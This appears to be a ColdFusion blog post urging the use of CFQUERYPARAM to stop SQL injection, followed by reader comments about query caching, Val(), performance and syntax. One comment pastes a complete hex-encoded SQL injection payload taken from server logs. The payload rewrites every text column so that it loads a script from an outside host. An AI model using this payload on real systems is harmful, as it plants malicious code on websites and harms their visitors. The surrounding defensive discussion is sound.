The use of
I’ve discussed this subject repeatedly over the years. But, it’s critical enough that I want to highlight a post I made 2 1/2 years ago entitled SQL Injection Attacks, Easy To Prevent, But Apparently Still Ignored.
For Goodness Sake, Use CFQUERYPARAM Already!
39 responses to “For Goodness Sake, Use CFQUERYPARAM Already!”
-
Ruh roh. I just finished reading this blog entry and I then flip over and look at my CF log files and find this attempted sql injection:
‘;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C4152452040542076617263686
17228323535292C40432076617263686172283430303029204445434C415245205461626C655F
437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652
066726F6D207379736F626A6563747320612C737973636F6C756D6E7320622077686572652061
2E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3
939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E7874
7970653D31363729204F50454E205461626C655F437572736F72204645544348204E455854204
6524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046
455443485F5354415455533D302920424547494E20657865632827757064617465205B272B405
42B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E
3C736372697074207372633D22687474703A2F2F6162632E766572796E782E636E2F772E6A732
23E3C2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F74206C696B65
20272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F6162632E7
66572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D27272729464554434820
4E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E442
0434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F4375
72736F72%20AS%20CHAR(4000));EXEC(@S);
Which is pretty much identical to the ASP attack that has been going on for several months.
-alan -
Meanwhile, is Adobe ever going to fix the bug that makes CFQUERYPARAM unusable with query caching?
(In our testing, neither CF 8.0.1 or not the alleged hotfix for this problem actually fixes it– do other people run into this?) -
Just checked my server log and have had repeated SQL injection attempts today. Fortunately I am using cfqueryparam!
-
David,
Query caching works with CFQUERYPARAM in CF8. And I just wrote a little test case for you using the sample databases that come with CF8. Try it out, caching works perfectly.
<cfset artistid=1>
<cfquery datasource="cfartgallery"
name="q" result="r"
cachedwithin="#CreateTimeSpan(0,0,10,0)#">
SELECT *
FROM art
WHERE artistid = <cfqueryparam value="#artistid#"
cfsqltype="cf_sql_integer">
</cfquery>
<h1>q</h1>
<cfdump var="#q#">
<h1>r</h1>
<cfdump var="#r#">
— Ben -
I just posted more on the subject at http://www.forta.com/blog/index.cfm/2008/7/23/Hacker-Webzine-Recommends-Use-Of-CFQUERYPARAM
— Ben -
Yes, that code tests perfectly, and will past all unit and integration tests. However, when you place that code under load, your site dies entirely and every page starts returning "corrupt table" errors.
The problem is discussed here:
http://kb.adobe.com/selfservice/viewContent.do?externalId=kb402583
…but the hotfix on that page doesn’t actually solve the problem, as we discover every time one of our developers deploys code that uses cfqueryparam and caching together. We’ve got various workarounds (most of which boil down to either "don’t cache the query" or "use some other method of sanitizing the query input"), but this has been my pet least-favorite CF issue for a while now. -
Sometimes it takes a good kick in the pants to get people into action. I bet the folks who’s sites have been compromised are going to act…
There are some who think that it makes debugging queries a pain because the queryparam is replace by ‘?’s and you actually have to click something extra in the debugging panel AND you can’t just copy and paste your query into a query analyzer..
For those who scoff at using cfqueryparam for whatever excuses I hope they don’t learn the lesson the hard way. -
Gary, I agree. And thanks for all of the details you’ve been posting on this one. For those reading this thread, see Gary’s blog (linked on his name above).
— Ben -
In the CF administrator, would it make sense to simply uncheck all but the SELECT statement when setting up the datasource(s) your web uses until you can add all the cfqueryparam tags to your CF pages? Would this be a reliable measure to prevent injection sitewide?
-
I don’t mean to be critical, but I think it’s easy to be made an example of after the storm. I’m sitting here with several books on Cold Fusion (Web Application Construction Kit for 7 and 8), but for example in 7 only pages 117-118 talk about cfqueryparam in a 1394 page book.
I’ve worked with PHP for many years and I’m trying to get up to speed on CF when, the application I didn’t write, got compromised. If this is such a no-brainer, why is so little devoted to this in examples, tutorials and the like? I do see there are some "best practices" papers out there, but none of the examples in the resources I’m trying to learn from use it.
Again, I’m not trying to be critical, but all of these blogs in the after math have an "I told you so" tone to them. Well, in the case of the books/sites I’m reading, I don’t believe anyone has. If this is an obvious coding practice, it should be demonstrated in the examples used to help teach the next generation of ColdFusion developers. -
M,
Yep, it probably should be mentioned earlier in the book, criticism noted and accepted.
But, to be fair, this is not a case of jumping up and down after the fact. In addition to the blog post mentioned above (from December 2005) I posted http://www.forta.com/blog/index.cfm/2000/9/26/Use-CFQUERYPARAM back in September 2000, wrote a column on the subject for SYS-CON (see http://coldfusion.sys-con.com/read/41712.htm) back in February 2002, and more.
There is also coverage of this in detail in the Adobe ColdFusion Security site at http://www.adobe.com/devnet/coldfusion/security.html, and anyone subscribed for Adobe security bulletins would have been notified about this many times over. Plus many others have discussed this subject, and there are numerous articles and bulletins on the subject on Adobe.com (like http://www.adobe.com/devnet/coldfusion/articles/cfqueryparam.html written by Dave Watts quite a few years ago).
The subject has also been covered in numerous usergroup presentations, webinars, MAX sessions, and is also included in the official ColdFusion Security Guidelines document.
Honestly, while we can (and should) always do more to protect users and their apps, this is really not something that anyone can claim ignorance about.
— Ben -
cfqueryparam simply is the most "ugly" ColdFusion tag. It messes up your sourcecode and makes queries difficult to read. Why can’t CF do this work for us? I mean, CF knows the database field types, so why can’t this be done automatically when a query is launched? This reminds me of the CFLOCK tag in the past… "just add it everywhere" was the logic back then. I have the same feeling here. CF is there to make our lives easier, not more complicated!
And indeed: CFWACK has tons of queries without cfparam in them… -
Ben,
I’ve always heard you were the best CF resource and I appreciate the quick response. There are tons of things in PHP that just come with experience (magic quotes and the like). I just found it frustrating that as I try to learn CF, none of the basic CFQUERY examples (books, sites, etc.) show it in use. I understand the need to keep the examples simple, but in two months of reviewing and learning, it has never come up. Granted, it was obviously not used in the application I’m learning from, but even in other good examples it was not used.
In any case, thank you for the response. I take this seriously as well and I’m working like mad to be effective with CF in my new role. Lesson #1 under my belt I guess. -
Wim,
Yes, CFQUERYPARAM is ugly. At a minimum, it should have been an inline function as CFQueryParam() and not a tag. I agree. And I actually argued for that back in CF4.x days, but back then there were some technical reasons that made that impossible. I still would like to see it changed though (while maintaining backwards compatibility of course).
As for CF doing it for you automatically, that’s much trickier, and assumes that CF can intelligently always figure out what you are trying to do. It may work in simple cases, but it can’t work in all, and that’s asking for trouble. But, building on your idea, I’d rather a flag (perhaps in Application.cfc) that forces CF into a mode where it won’t accept non-parametrized queries, throwing an error if they are used. That would at least make it easier to find all cases that need to be fixed.
And as for CFWACK, as already noted, you are correct, and many (actually, most) examples do not use CFQUERYPARAM. But then again, most examples are intended to be as clean and as simple as possible. Having said that, in CFWACK (7 and 8) I introduce CFCs as the preferred way to interact with databases in the chapter immediately after the one that first uses CFQUERY. The techniques recommended there do indeed help address SQL injection risks. And a note in the middle of that chapter states that there are security implications and refers readers to the appropriate later chapter.
— Ben -
Ben, can you give us a little more information? Where are you hearing about a recent spate of SQL injection attacks? What makes you think they are targeting cfm? Thanks.
-
You said Ben! Just blowing my horn here, but I use cfqueryparam religiously, and I’m not even religious, LOL. Seriously though, it was tough at first to accept it, but you eventually have to accept it as the right and only way. Personally I use it wherever it is humanly possible for an injection attack from the outside, if there’s no way possible that anyone can inject an attack then I forgo the tag, but only then. But that’s only personally. For clients, I do it every time.
-
Chris,
I don’t know that CF is being targeted. But over the past few days we’ve seen reports of lots of CF sites showing SQL injection attempts in logs and error messages, and several users have reported that they’ve found databases compromised. While there is no evidence that this begin targeted specifically at CF, and indeed sites powered by other backends are begin targeted too, there is reason to suspect that .cfm pages have indeed been added to the list of URLs that hacker scripts seem to be looking for.
— Ben -
Ben,
Continuing on Gary’s point, why does the debugger show ?’s instead of what the result of the cfqueryparam was? It is definitely a point of annoyance for me since I began using cfqueryparam. -
I’ve been noticing a rise in SQL injection attempts and actually saw a CF site go down (will not name it here) due to these SQL injection attempts. Additionally I’ve been noticing more of these ‘attempts’ in the logs and fortunately none of our services have been compromised, but it only takes one hastily built page to compromise it. Security is as strong as its weakest link. While <cfqueryparam> is a good start, it’s also best to implement multiple levels of security and error checking to reduce the chance of this happening.
-
I think the additional code necessary for cfqueryparam is well worth it, not just in security but also for automatic type conversions that are being done for bit, timestamp and the like… and the performance benefits. Even without it being nearly mandatory for proper security, the benefits are still there for its use everywhere.
Now if only it could be used outside of cfquery to build up sql. -
Bob, that’s because the debugging output shows what was actually passed to the data source, and that is exactly how parametrized queries get passed. One suggestion, use the query RESULT structure, that should show you more useful results.
Dan, yes yes yes. CFQUERYPARAM as a function could indeed do just that. Hey, maybe for CF9? 😉
— Ben -
Ben,
For years, I have used the #val()# tag to prevent against SQL injection. Is there any risk in continuing this, or should we switch everything to CFQUERYPARAM immediately?
Ray -
Ray, for preventing characters being appended to numeric variables, yes, Val() would work. Although I’d much rather you use <cfparam name="name" type="integer"> and the like. It’s cleaner, and makes trapping bad variables nice and easy.
— Ben -
Caution using CFQueryParam…
I know it may seem like the easiest solution to prevent this, but suggesting a blanket use of the tag isnt the best way to go. We have documented several occassions where using cfqueryparam resulted in slower queries — basically, SQL is using the same execution path rather than figuring it out each time, and removing cfqueryparam sped up the queries greatly. In those instances, where we noticed a big difference, we validate the datatypes outside of CFQUERYPARAM and just pass in the validated value as normal.
Just something to be aware of, since the use of CFQUERYPARAM isnt as much of a "CF" practice as it is a "what you are really sending to SQL" practice. -
Thanks everybody…
Should we also be wrapping update queries…
SET Surname = <cfqueryparam value="#Form.Surname#" type="text">
Does <cfqueryparam> protect you from somebody with a surname ‘EXEC DROP TABLE JOBS’
We tend to leave test cfm pages, and re-named old versions of cfm files on the server
Is this considered bad practice ? -
Ben – good timing on this post. I passed it on to KCDevCore (our CFUG in KC) and it was the topic of conversation all day on our listserv.
-
One of my websites was attacked as well. Clearly shows the hackers are targetting CF this time.
Previously, only adding a VAL around numeric inserts was ok, since single quotes were escaped and automatically prevented SQL injection without using cfqueryparam.
However, this new technique "encodes" the sql to be injected in your DB, and DOESN’T use single quotes.
A "quick fix" is to check the length of the URL in your application.cfm/cfc. The encoded sql string is very long and responding to it with a <cfabort> does the trick (for now). -
>> Should we also be wrapping update queries…
EVERYTHING within hashes inside a cfquery block MUST use cfqueryparam (or be thoroughly escaped).
The type of statement ( select/update/etc ) is irrelevant – especially if you’re using a database driver which supports multiple statements inside a single query.
>> Does <cfqueryparam> protect you from somebody with a surname ‘EXEC DROP TABLE JOBS’
Yes, (assuming you don’t dynamically evaluate any fields).
cfqueryparam uses what’s known as "bind variables", so the value is treated as data rather than part of the command.
(Not sure that’s a great explanation; I’m sure someone else can give a better one)
>> We tend to leave test cfm pages, and re-named old versions of cfm files on the server
>> Is this considered bad practice ?
Of course. (You know it is, or you wouldn’t have asked.)
And dont rename old versions anywhere – get version control! -
I understand the arguments for the use of this.
But still Im not into it. It makes all your queries very ugly.
All our querys are done in cfc’s with data type checking on the arguments. Sure we don’t get the performance gain of prepared statements, but we don’t get all the bloat.
Perhaps a function version of this tag is in order, hopefully with a shorter name and arguments, they are so long!
So instead of this
WHERE Course_ID = <cfqueryPARAM value = "#Course_ID#" CFSQLType = "CF_SQL_INTEGER">
#queryParam(
WHERE Course_ID = #queryParam(Course_ID, "Integer")# -
@Wim ,
Referring to your quote, "Previously, only adding a VAL around numeric inserts was ok, since single quotes were escaped and automatically prevented SQL injection without using cfqueryparam.", can you elaborate?
We are using -
I’m with you on wanting a QueryParam() function. A little history for you, when I first saw the spec for <cfqueryparam> in CF4.x days my immediate response was that it was syntactically wrong and needed to be an inline function. But, back then, as it was explained to me, CFs architecture made that impossible (I no longer remember the exact problem, but Sim explained it to me at the time). And so we ended up with an ugly tag, and we’ve ensured backwards compatibility ever since. But, I agree, and am lobbying for a QueryParam() tag in CF9. Here’s hoping …
Oh, and no waiting for a new function. In the meantime, use <cfqueryparam>, or do whatever you think appropriate, but do something!
— Ben -
Ben,
Is your lobbying enough on it’s own, or would it help if a horde of angry bloggers turned up with pitchforks and flaming torches to demand it? 😉 -
As a follow-up to Ray’s question about Val()…
does CreateODBCdate() provide adequate protection for dates ? -
Ben, you might want to change this statement on that old blog article you are referring to, or add an update to address it:
"do a search for every single <cfquery> in your code. Then quickly scan to find any that contain #’s in them (that are not enclosed in quotes or passed to <cfqueryparam>)"
This reflects the issue that is causing so much havok: that many developers were under the assumption that the quote escaping done by CF would prevent this type of injection. As we’ve seen, that is not correct, and string fields in quotes need a cfqueryparam as well (or some other method of scrubbing done) -
MJ,
Well, I can’t edit posts. But, I did add a note to that earlier post referring readers to the newer posts. Thanks for pointing this out.
— Ben -
That works too. You might want to correct the typo on your update: "Since this post was mad,"
I assume you meant, "Since this post was made," 🙂 -
Hello Ben,
I am having a form
<form action="#CGI.SCRIPT_NAME#" name="test" method="post">
Code : <input type="text" name="Code"><br>
Question: <input type="text" name="Question"><br>
<input type="Submit" name="submit" value="submit">
</form>
on submit, it calls a cfc & inserts into the table, while inserting it should check whether the field exists, and if it exists, it should insert the value else a null…
the code is as follows… as per the logic, i dont see anything wrong, but it throws the error on runtime execution…
<cffunction name="sampleT" output="false" returntype="void" hint="">
<cfargument name="testform" required="true" type="struct" hint="">
<cfset var tt = "">
<cfquery name="tt" datasource="membership">
INSERT
INTO SecretQuestions(Code,Question,test)
VALUES (
<cfqueryparam null="false" cfsqltype="cf_sql_varchar" value="#arguments.testform.Code#" maxlength="3">,
<cfqueryparam null="#not len(trim(arguments.testform.Question))#" cfsqltype="cf_sql_varchar" value="#arguments.testform.Question#" maxlength="50">,
<cfqueryparam null="#not structKeyExists(arguments.testform,’test’)#" cfsqltype="cf_sql_varchar" value="<cfif structKeyExists(arguments.testform,’test’)>#arguments.testform.test#<cfelse>”</cfif>" maxlength="45">
)
</cfquery>
</cffunction>
it throws the error & says "Element TESTFORM.TEST is undefined in ARGUMENTS. "
anyother way to achieve the functionality only using cfqueryparam & not using extra if’s & else’s around cfqueryparam… ?
will be really greatfull to get a solution…
thanks… -
some wrong with cfqueryparam null="false" cfsqltype="cf_sql_varchar" value="#arguments.testform.Code#" maxlength="3">,
<cfqueryparam null="#not len(trim(arguments.testform.Question))#" cfsqltype="cf_sql_varchar"
http://inspironbattery.blogspot.com/ -
As a wish list for the next version, I like the ideas of a function version for cfqueryParam, but not the syntax mentioned above.. I am lazy and like as little typing as possible.. how about a series of functions, one for each type:
where course_id = #queryParam_i(course_id)#
where the type is in the name.. _i is integer, etc. This would save 30 keystrokes with each use.
Leave a Reply